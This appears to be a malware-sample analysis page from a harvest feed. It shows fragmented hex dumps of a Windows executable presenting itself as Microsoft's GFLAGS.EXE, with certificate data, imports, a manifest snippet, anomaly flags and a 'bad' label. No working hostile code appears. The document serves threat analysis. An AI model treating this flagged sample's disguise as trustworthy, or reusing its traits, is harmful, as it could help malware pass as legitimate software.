0x1fdee	0b00010049006e007400650072006e00	....I.n.t.e.r.n.
0x1fdfe	61006c004e0061006d00650000004700	a.l.N.a.m.e...G.
0x1fe0e	46004c004100470053002e0045005800	F.L.A.G.S...E.X.
0x1fe1e	45000000000080002e0001004c006500	E...........L.e.
0x1fe2e	670061006c0043006f00700079007200	g.a.l.C.o.p.y.r.
0x1fe3e	69006700680074000000a90020004d00	i.g.h.t..... .M.
0x1fe4e	6900630072006f0073006f0066007400	i.c.r.o.s.o.f.t.
0x1fe5e	200043006f00720070006f0072006100	.C.o.r.p.o.r.a.
0x1fe6e	740069006f006e002e00200041006c00	t.i.o.n... .A.l.
0x1fe7e	6c002000720069006700680074007300	l. .r.i.g.h.t.s.
0x1fe8e	20007200650073006500720076006500	.r.e.s.e.r.v.e.
0x1fe9e	64002e0000003e000b0001004f007200	d.....>.....O.r.
0x1feae	6900670069006e0061006c0046006900	i.g.i.n.a.l.F.i.
0x1febe	6c0065006e0061006d00650000004700	l.e.n.a.m.e...G.
0x1fece	46004c004100470053002e0045005800	F.L.A.G.S...E.X.

0x245c0	00000000000000000000000000000000	................
0x245d0	00000000000000000000000000000000	................
0x245e0	00000000000000000000000000000000	................
0x245f0	00000000000000000000000000000000	................
0x24600	80250000000202003082257406092a86	.%......0.%t..*.
0x24610	4886f70d010702a08225653082256102	H........%e0.%a.
0x24620	0101310b300906052b0e03021a050030	..1.0...+......0
0x24630	68060a2b060104018237020104a05a30	h..+.....7....Z0
0x24640	583033060a2b06010401823702010f30	X03..+.....7...0
0x24650	25030100a020a21e801c003c003c003c	%.... .....<.<.<
0x24660	004f00620073006f006c006500740065	.O.b.s.o.l.e.t.e
0x24670	003e003e003e3021300906052b0e0302	.>.>.>0!0...+...
0x24680	1a05000414ae6c28e7c9b3618c849827	......l(...a...'
0x24690	eed90eb6182f706dd2a0822058308204	...../pm... X0..
0x246a0	853082036da003020102020a6105f71e	.0..m.......a...
0x246b0	000000000032300d06092a864886f70d	.....20...*.H...
0x246c0	01010505003079310b30090603550406	.....0y1.0...U..
0x246d0	13025553311330110603550408130a57	..US1.0...U....W
0x246e0	617368696e67746f6e3110300e060355	ashington1.0...U
0x246f0	040713075265646d6f6e64311e301c06	....Redmond1.0..
0x24700	0355040a13154d6963726f736f667420	.U....Microsoft
0x24710	436f72706f726174696f6e3123302106	Corporation1#0!.
0x24720	03550403131a4d6963726f736f667420	.U....Microsoft
0x24730	436f6465205369676e696e6720504341	Code Signing PCA
0x24740	301e170d303930373133323330303138	0...090713230018
0x24750	5a170d3130313031333233313031385a	Z..101013231018Z
0x24760	308183310b3009060355040613025553	0..1.0...U....US
0x24770	311330110603550408130a5761736869	1.0...U....Washi
0x24780	6e67746f6e3110300e06035504071307	ngton1.0...U....
0x24790	5265646d6f6e64311e301c060355040a	Redmond1.0...U..
0x247a0	13154d6963726f736f667420436f7270	..Microsoft Corp
0x247b0	6f726174696f6e310d300b060355040b	oration1.0...U..
0x247c0	13044d4f5052311e301c060355040313	..MOPR1.0...U...
0x247d0	154d6963726f736f667420436f72706f	.Microsoft Corpo
0x247e0	726174696f6e30820122300d06092a86	ration0.."0...*.
0x247f0	4886f70d01010105000382010f003082	H.............0.
0x24800	010a0282010100b58ca99c9484611acc	.............a..
0x24810	2e22c4a0936409de85a1b0905dfcc96c	."...d......]..l
0x24820	68b5f1effc8e6bf4f8a06ed751de60a3	h.....k...n.Q.`.
0x24830	2763d4f6dfb64cd2450ba73dd86ffeed	'c....L.E..=.o..
0x24840	a71863d31fc681d4bf073797402b7fe7	..c.......7.@+..
0x24850	5f5a35d9934fabf32a92f0a68d81ec05	_Z5..O..*.......
0x24860	24dcdbb861635361023538d6b8f5ee7b	$...acSa.58....{
0x24870	54a6c95835e9f415efda076c052d4da4	T..X5......l.-M.

0x24c54	060355040b131e6e4369706865722044	..U....nCipher D
0x24c64	53452045534e3a414344332d41453636	SE ESN:ACD3-AE66
0x24c74	2d45304235312530230603550403131c	-E0B51%0#..U....
0x24c84	4d6963726f736f66742054696d652d53	Microsoft Time-S
0x24c94	74616d70205365727669636530820122	tamp Service0.."
0x24ca4	300d06092a864886f70d010101050003	0...*.H.........
0x24cb4	82010f003082010a0282010100e328aa	....0.........(.
0x24cc4	d93c4342f80613bae2c7f9c12f59cb3c	.<CB......../Y.<
0x24cd4	95e754906cc3589562b30f6cbd83db2d	..T.l.X.b..l...-
0x24ce4	588808920bdbcd76c756c6e0ee2ad388	X......v.V...*..
0x24cf4	3b5ccaa970a30023222c5338	;\..p..#",S8

0x25512	0a0992268993f22c64011916096d6963	...&...,d....mic
0x25522	726f736f6674312d302b060355040313	rosoft1-0+..U...
0x25532	244d6963726f736f667420526f6f7420	$Microsoft Root
0x25542	43657274696669636174652041757468	Certificate Auth
0x25552	6f72697479301e170d30313035303932	ority0...0105092
0x25562	33313932325a170d3231303530393233	31922Z..21050923
0x25572	323831335a305f31133011060a099226	2813Z0_1.0.....&
0x25582	8993f22c6401191603636f6d31193017	...,d....com1.0.
0x25592	060a0992268993f22c64011916096d69	....&...,d....mi
0x255a2	63726f736f6674312d302b	crosoft1-0+

0x267e0	0414b4f289c02823e88baf9fbf96657a	......(#......ez
0x267f0	9e85f95f2e023054060a2b0601040182	..._..0T..+.....
0x26800	3702010c31463044a0268024004d0069	7...1F0D.&.$.M.i
0x26810	00630072006f0073006f006600740020	.c.r.o.s.o.f.t.
0x26820	00440065006200750067006700650072	.D.e.b.u.g.g.e.r
0x26830	a11a8018687474703a2f2f7777772e6d	....http://www.m
0x26840	6963726f736f66742e636f6d300d0609	icrosoft.com0...
0x26850	2a864886f70d01010105000482010049	*.H............I
0x26860	b54424bc55d4d74e410e5e194e854fdb	.D$.U..NA.^.N.O.
0x26870	4fd5864c992c0249f8ea9195b6a232a7	O..L.,.I......2.
0x26880	49081307b323f1b9a5a2c1f78a5eb405	I....#.......^..
0x26890	06ae29b993cb7600651ffad07e867706	..)...v.e...~.w.
0x268a0	d2e0f0c61deae0062afbae22fc417bb1	........*..".A{.
0x268b0	b2a5f2a6636a70a529866b929a302b3f	....cjp.).k..0+?
0x268c0	2a5af79146f3f038d567c9adb99eee7c	*Z..F..8.g.....\|
0x268d0	5f5cfd27954d9a89b5c45e58ed0b993a	_\.'.M....^X...:
0x268e0	071c55694f918b384199444ba76d8cf9	..UiO..8A.DK.m..
0x268f0	647b007d16d1c700a9b5e9b8ba1755da	d{.}..........U.
0x26900	3645acd39551eae5d71c642c07b02875	6E...Q....d,..(u
0x26910	dff2172042e50550a7e78ba75f7b9166	... B..P...._{.f
0x26920	9391dd9565e51c005749d77b09a21f22	....e...WI.{..."
0x26930	45e106fd8e25d79c888d1047d5e341d9	E....%.....G..A.
0x26940	7728190fffc1847caf45df5bf6537ce0	w(.....\|.E.[.S\|.
0x26950	a675aea7d570cc2b6ccd6aa4b6acd5a1	.u...p.+l.j.....
0x26960	82021d3082021906092a864886f70d01	...0.....*.H....
0x26970	09063182020a30820206020101308185	..1...0......0..
0x26980	3077310b300906035504061302555331	0w1.0...U....US1
0x26990	1330110603550408130a57617368696e	.0...U....Washin
0x269a0	67746f6e3110300e0603550407130752	gton1.0...U....R
0x269b0	65646d6f6e64311e301c060355040a13	edmond1.0...U...
0x269c0	154d6963726f736f667420436f72706f	.Microsoft Corpo
0x269d0	726174696f6e3121301f060355040313	ration1!0...U...
0x269e0	184d6963726f736f66742054696d652d	.Microsoft Time-
0x269f0	5374616d7020504341020a6116b52900	Stamp PCA..a..).
0x26a00	0000000010300706052b0e03021aa05d	.....0...+.....]
0x26a10	301806092a864886f70d010903310b06	0...*.H......1..
0x26a20	092a864886f70d010701301c06092a86	..H......0....
0x26a30	4886f70d010905310f170d3130303230	H......1...10020

0x1e8fc	6e3d22312e302220656e636f64696e67	n="1.0" encoding
0x1e90c	3d225554462d3822207374616e64616c	="UTF-8" standal
0x1e91c	6f6e653d22796573223f3e0d0a3c212d	one="yes"?>..<!-
0x1e92c	2d20436f707972696768742028632920	- Copyright (c)
0x1e93c	4d6963726f736f667420436f72706f72	Microsoft Corpor
0x1e94c	6174696f6e202d2d3e0d0a3c61737365	ation -->..<asse
0x1e95c	6d626c7920786d6c6e733d2275726e3a	mbly xmlns="urn:
0x1e96c	736368656d61732d6d6963726f736f66	schemas-microsof
0x1e97c	742d636f6d3a61736d2e7631220d0a20	t-com:asm.v1"..
0x1e98c	6d616e696665737456657273696f6e3d	manifestVersion=
0x1e99c	22312e30223e200d0a0d0a093c617373	"1.0"> .....<ass
0x1e9ac	656d626c794964656e74697479200d0a	emblyIdentity ..
0x1e9bc	090976657273696f6e3d22312e302e30	..version="1.0.0
0x1e9cc	2e3022200d	.0" .

binary/anomaly PE mismatch beyond architecture suffix

build Manifest requests highestAvailable execution

0x1fbde	74006800200074006800650073006500	t.h. .t.h.e.s.e.
0x1fbee	2000730065007400740069006e006700	.s.e.t.t.i.n.g.
0x1fbfe	73003f00000000000000c80334000000	s.?.........4...
0x1fc0e	560053005f0056004500520053004900	V.S._.V.E.R.S.I.
0x1fc1e	4f004e005f0049004e0046004f000000	O.N._.I.N.F.O...
0x1fc2e	0000bd04effe00000100010006000000	................
0x1fc3e	e21d010006000000e21d3f0000000800	..........?.....
0x1fc4e	00000400040001000000000000000000	................
0x1fc5e	00000000000026030000010053007400	......&.....S.t.
0x1fc6e	720069006e006700460069006c006500	r.i.n.g.F.i.l.e.
0x1fc7e	49006e0066006f000000020300000100	I.n.f.o.........
0x1fc8e	30003400300039003000340042003000	0.4.0.9.0.4.B.0.
0x1fc9e	00004c001600010043006f006d007000	..L.....C.o.m.p.
0x1fcae	61006e0079004e0061006d0065000000	a.n.y.N.a.m.e...
0x1fcbe	00004d006900630072006f0073006f00	..M.i.c.r.o.s.o.
0x1fcce	66007400200043006f00720070006f00	f.t. .C.o.r.p.o.
0x1fcde	72006100740069006f006e0000007600	r.a.t.i.o.n...v.
0x1fcee	27000100460069006c00650044006500	'...F.i.l.e.D.e.
0x1fcfe	73006300720069007000740069006f00	s.c.r.i.p.t.i.o.
0x1fd0e	6e00000000004d006900630072006f00	n.....M.i.c.r.o.
0x1fd1e	73006f0066007400ae0020004e005400	s.o.f.t... .N.T.
0x1fd2e	200047006c006f00620061006c002000	.G.l.o.b.a.l. .
0x1fd3e	46006c0061006700730020004d006100	F.l.a.g.s. .M.a.
0x1fd4e	6e006900700075006c00610074006f00	n.i.p.u.l.a.t.o.
0x1fd5e	72000000000086003300010046006900	r.......3...F.i.
0x1fd6e	6c006500560065007200730069006f00	l.e.V.e.r.s.i.o.
0x1fd7e	6e000000000036002e0031002e003700	n.....6...1...7.
0x1fd8e	3600350030002e003000200028006600	6.5.0...0. .(.f.
0x1fd9e	62006c005f0074006f006f006c007300	b.l._.t.o.o.l.s.
0x1fdae	5f006400650062007500670067006500	_.d.e.b.u.g.g.e.
0x1fdbe	7200280077006d0062006c0061002900	r.(.w.m.b.l.a.).
0x1fdce	2e003100300030003200300031002d00	..1.0.0.2.0.1.-.
0x1fdde	31003200310031002900000000003600	1.2.1.1.).....6.
0x1fdee	0b00010049006e007400650072006e00	....I.n.t.e.r.n.
0x1fdfe	61006c004e0061006d00650000004700	a.l.N.a.m.e...G.
0x1fe0e	46004c004100470053002e0045005800	F.L.A.G.S...E.X.
0x1fe1e	45000000000080002e0001004c006500	E...........L.e.
0x1fe2e	670061006c0043006f00700079007200	g.a.l.C.o.p.y.r.
0x1fe3e	69006700680074000000a90020004d00	i.g.h.t..... .M.
0x1fe4e	6900630072006f0073006f0066007400	i.c.r.o.s.o.f.t.
0x1fe5e	200043006f00720070006f0072006100	.C.o.r.p.o.r.a.
0x1fe6e	740069006f006e002e00200041006c00	t.i.o.n... .A.l.
0x1fe7e	6c002000720069006700680074007300	l. .r.i.g.h.t.s.
0x1fe8e	20007200650073006500720076006500	.r.e.s.e.r.v.e.
0x1fe9e	64002e0000003e000b0001004f007200	d.....>.....O.r.
0x1feae	6900670069006e0061006c0046006900	i.g.i.n.a.l.F.i.
0x1febe	6c0065006e0061006d00650000004700	l.e.n.a.m.e...G.
0x1fece	46004c004100470053002e0045005800	F.L.A.G.S...E.X.

Identity

SHA-256	2b43beda185bf38fb18a18874428e0d2523770754d7e8fde214613db250f4b4f
Filename	virussign.com_923094743ded0ccd63d46f2113df0250.vir
Package	2b43beda185bf38fb18a18874428e0d2523770754d7e8fde214613db250f4b4f

Origin

Source	harvest
Feed	virussign
Domain	virussign.com

Timeline

First seen	3 Aug 2026 13:37 UTC
First analyzed	5 Aug 2026 12:36 UTC
Last analyzed	5 Aug 2026 12:36 UTC
Last updated	5 Aug 2026 12:36 UTC

Labeling

Label	bad
Label source	harvest
Traits version	b5ca8

Not seeing what you expected? Let us know

0x1a8ac	6d496e666f726d6174696f6e00001404	mInformation....
0x1a8bc	52746c4e74537461747573546f446f73	RtlNtStatusToDos
0x1a8cc	4572726f7200a20352746c496e697455	Error...RtlInitU
0x1a8dc	6e69636f6465537472696e6700008f01	nicodeString....
0x1a8ec	4e745175657279496e666f726d617469	NtQueryInformati
0x1a8fc	6f6e50726f6365737300c80452746c55	onProcess...RtlU
0x1a90c	6e69636f6465537472696e67546f496e	nicodeStringToIn
0x1a91c	746567657200f00452746c5669727475	teger...RtlVirtu
0x1a92c	616c556e77696e640000010452746c4c	alUnwind....RtlL
0x1a93c	6f6f6b757046756e6374696f6e456e74	ookupFunctionEnt
0x1a94c	727900007b0252746c43617074757265	ry..{.RtlCapture
0x1a95c	436f6e74657874006e74646c6c2e646c	Context.ntdll.dl
0x1a96c	6c00d800456e61626c6557696e646f77	l...EnableWindow
0x1a97c	0000800253656e644d	....SendM